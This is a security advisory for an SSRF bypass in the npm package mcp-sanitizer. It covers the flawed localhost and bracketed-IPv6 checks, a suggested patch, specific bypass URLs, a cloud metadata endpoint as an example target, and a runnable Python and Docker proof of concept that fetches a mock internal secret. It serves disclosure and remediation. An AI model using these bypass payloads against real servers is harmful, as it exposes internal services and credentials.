GHSA-4mfg-r38w-w8fg

Suggest an improvement
Source
https://github.com/advisories/GHSA-4mfg-r38w-w8fg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4mfg-r38w-w8fg/GHSA-4mfg-r38w-w8fg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-4mfg-r38w-w8fg
Published
2026-10-28T19:51:39Z
Modified
2026-10-28T20:00:03Z
Severity
  • 8.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N CVSS Calculator
Summary
mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6
Details

URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

Summary

mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as web_fetch and web_scraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.

Details

The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by _secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.

Bug 1 — Port-guarded localhost check (line 274–276):

// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
  throw new Error('URL points to localhost without explicit port');
}

The && !parsedUrl.port guard means that any localhost URL that includes a port number is not thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.

Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):

// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
  throw new Error(`URL points to link-local address: ${hostname}`);
}

The Node.js URL API returns parsedUrl.hostname for IPv6 addresses with surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.

Data flow through the middleware:

  1. src/middleware/express.js:499 — tool name derived from req.params.toolName || req.body?.tool_name.
  2. src/middleware/express.js:548-554 — web_scraper/web_fetch params.url forwarded to sanitizer.sanitize(url, { type: 'url' }).
  3. src/sanitizer/mcp-sanitizer.js:527-528 — context type url routes to _secureSanitizeURL().
  4. src/sanitizer/mcp-sanitizer.js:698-700 — validateURLLocation(parsedUrl) called; on success, parsedUrl.toString() returned to caller as the sanitized, trusted URL.

Both bugs are in the default code path; no special configuration is required to trigger them.

Suggested patch:

--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@ 
-  const hostname = parsedUrl.hostname.toLowerCase();
+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@ 
-  if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
-    throw new Error('URL points to localhost without explicit port');
+  if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+    throw new Error('URL points to localhost or loopback');
   }
@@ 
-  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+      hostname.startsWith('fc') || hostname.startsWith('fd')) {
     throw new Error(`URL points to link-local address: ${hostname}`);
   }
+
+  if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+  }

PoC

Prerequisites: Docker installed; no other dependencies required.

1. Build the Docker image:

docker build \
  -f vuln-001/Dockerfile \
  -t vuln-001-mcp-sanitizer \
  reports/npmAI_754_starman69__mcp-sanitizer

2. Run the PoC:

docker run --rm vuln-001-mcp-sanitizer

The poc.py script inside the image:

  • Starts a mock internal HTTP service on 127.0.0.1:8080 serving the string INTERNAL_SECRET_DATA_9f3a2b1c.
  • Calls sanitizer.sanitize(url, { type: 'url' }) via Node.js for five URLs (two expected-blocked, three bypass candidates).
  • Performs an actual GET http://localhost:8080/ using the sanitizer-approved URL and confirms the secret is returned.

Expected output (abbreviated):

[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c
RESULT: PASS - SSRF bypass fully demonstrated end-to-end

Baseline controls confirm the library does block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.

Minimal inline repro (no Docker):

# Inside the mcp-sanitizer repository root (npm ci first)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
  'http://localhost:8080/',
  'http://[::1]:8080/',
  'http://[fe80::1]:8080/'
]) {
  const r = sanitizer.sanitize(url, { type: 'url' });
  console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODE

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that:

  1. Uses mcp-sanitizer's sanitize() / createMCPToolMiddleware() as the security boundary for outbound URLs, and
  2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for web_fetch/web_scraper MCP tools),

is exploitable by any party that can supply the url parameter — typically an unauthenticated network attacker in an MCP server deployment.

Consequences:

  • Confidentiality (High): The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., http://169.254.169.254/), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.
  • Integrity (Low): If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.
  • Availability: Not directly impacted.

The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.

Reproduction artifacts

Dockerfile

FROM node:18-alpine

# Install Python3 for the PoC script
RUN apk add --no-cache python3

WORKDIR /app

# Copy package files first for better layer caching
COPY repo/package.json repo/package-lock.json ./

# Install Node.js dependencies (clean install, no dev deps)
RUN npm ci --ignore-scripts --omit=dev

# Copy library source
COPY repo/src ./src/

# Copy PoC script
COPY vuln-001/poc.py ./poc.py

# Run the PoC by default
CMD ["python3", "poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation
Library: mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: Server-Side Request Forgery
CVSS 3.1: 8.2 (High)

Root cause:
  src/utils/validation-utils.js:274:
    if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
  - The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block.
  - Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6,
    so the string equality check against "::1" and startsWith("fe80:") both silently fail.

Attack scenario:
  1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.
  2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result.
  3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal
     service (localhost:PORT), leaking its response to the attacker.
"""

import subprocess
import sys
import json
import http.server
import threading
import urllib.request
import os

# ─────────────────────────────────────────────────────────────────────────────
# Step 1: Start a mock "internal" service on 127.0.0.1:8080
#         This simulates a privileged internal endpoint (e.g., metadata API,
#         admin panel) that should never be reachable from external input.
# ─────────────────────────────────────────────────────────────────────────────
INTERNAL_PORT = 8080
INTERNAL_SECRET = "INTERNAL_SECRET_DATA_9f3a2b1c"

class InternalServiceHandler(http.server.BaseHTTPRequestHandler):
    """Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint)."""

    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("X-Internal", "true")
        self.end_headers()
        self.wfile.write(f"{INTERNAL_SECRET}\npath={self.path}\n".encode())

    def log_message(self, fmt, *args):
        pass  # Suppress default access logs for cleaner output


internal_server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), InternalServiceHandler)
srv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)
srv_thread.start()
print(f"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}")
print(f"[*] Internal secret: {INTERNAL_SECRET}\n")


# ─────────────────────────────────────────────────────────────────────────────
# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs
# ─────────────────────────────────────────────────────────────────────────────
NODE_SCRIPT = r"""
'use strict';
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();

const tests = [
  // These should be BLOCKED (baseline: library is supposed to block localhost)
  { url: 'http://localhost/',        expectBlocked: true  },
  { url: 'http://127.0.0.1/',       expectBlocked: true  },
  // These are the BYPASS cases (the vulnerability)
  { url: 'http://localhost:8080/',   expectBlocked: false },
  { url: 'http://[::1]:8080/',      expectBlocked: false },
  { url: 'http://[fe80::1]:8080/',  expectBlocked: false },
];

const out = tests.map(t => {
  let result;
  try {
    result = sanitizer.sanitize(t.url, { type: 'url' });
    return {
      url: t.url,
      blocked: result.blocked,
      sanitized: result.sanitized,
      expectBlocked: t.expectBlocked
    };
  } catch (err) {
    return {
      url: t.url,
      blocked: true,
      sanitized: null,
      expectBlocked: t.expectBlocked,
      error: err.message
    };
  }
});

process.stdout.write(JSON.stringify(out));
"""

print("[*] Running mcp-sanitizer URL sanitization tests via Node.js ...")
proc = subprocess.run(
    ["node", "-e", NODE_SCRIPT],
    capture_output=True,
    text=True,
    cwd="/app"
)

if proc.returncode != 0:
    print(f"[ERROR] Node.js process exited with code {proc.returncode}")
    print(f"stderr: {proc.stderr}")
    sys.exit(2)

if not proc.stdout.strip():
    print("[ERROR] No output from Node.js process")
    print(f"stderr: {proc.stderr}")
    sys.exit(2)

results = json.loads(proc.stdout)


# ─────────────────────────────────────────────────────────────────────────────
# Step 3: Print sanitizer results and identify bypassed URLs
# ─────────────────────────────────────────────────────────────────────────────
print("[*] Sanitizer results:\n")
header = f"{'URL':<35}  {'blocked':<8}  {'sanitized':<35}  status"
print(header)
print("-" * len(header))

bypass_urls = []
unexpected = []

for r in results:
    blocked = r["blocked"]
    expected = r["expectBlocked"]
    sanitized_str = str(r.get("sanitized") or "null")
    status = "OK" if blocked == expected else "UNEXPECTED"
    if not blocked and r.get("sanitized"):
        bypass_urls.append(r["sanitized"])
        status = "BYPASS_CONFIRMED"
    print(f"{r['url']:<35}  {str(blocked):<8}  {sanitized_str:<35}  {status}")
    if blocked != expected:
        unexpected.append(r)

print()


# ─────────────────────────────────────────────────────────────────────────────
# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL
#         This proves the sanitizer flaw leads to real internal service access.
# ─────────────────────────────────────────────────────────────────────────────
ssrf_confirmed = False
ssrf_evidence = None
ssrf_url = "http://localhost:8080/"

if ssrf_url in bypass_urls:
    print(f"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...")
    try:
        resp = urllib.request.urlopen(ssrf_url, timeout=5)
        body = resp.read().decode().strip()
        print(f"[*] HTTP response status: {resp.status}")
        print(f"[*] HTTP response body:\n    {body.replace(chr(10), chr(10) + '    ')}")
        if INTERNAL_SECRET in body:
            ssrf_confirmed = True
            ssrf_evidence = body
            print(f"\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}")
    except Exception as exc:
        print(f"[ERROR] HTTP request failed: {exc}")
else:
    print(f"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step")

internal_server.shutdown()


# ─────────────────────────────────────────────────────────────────────────────
# Step 5: Final verdict
# ─────────────────────────────────────────────────────────────────────────────
print(f"\n{'='*65}")
print("VERDICT")
print(f"{'='*65}")
print(f"  Bypass URLs confirmed by sanitizer: {len(bypass_urls)}")
print(f"  Bypassed URLs:                      {bypass_urls}")
print(f"  Actual SSRF HTTP request succeeded: {ssrf_confirmed}")
print(f"  Exfiltrated secret matches:         {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}")

if ssrf_confirmed and len(bypass_urls) >= 2:
    print("\n  RESULT: PASS - SSRF bypass fully demonstrated end-to-end")
    print("  - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080")
    print(f"  - Actual HTTP GET to internal service returned: {ssrf_evidence!r}")
    sys.exit(0)
elif len(bypass_urls) >= 2:
    print("\n  RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed")
    print(f"  - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}")
    sys.exit(1)
else:
    print("\n  RESULT: FAIL - expected at least 2 bypass URLs")
    sys.exit(1)
Database specific
{
    "cwe_ids":  [
        "CWE-918"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-28T19:51:39Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

npm / mcp-sanitizer

Package

Name
mcp-sanitizer
View open source insights on deps.dev
Purl
pkg:npm/mcp-sanitizer

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.4.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4mfg-r38w-w8fg/GHSA-4mfg-r38w-w8fg.json"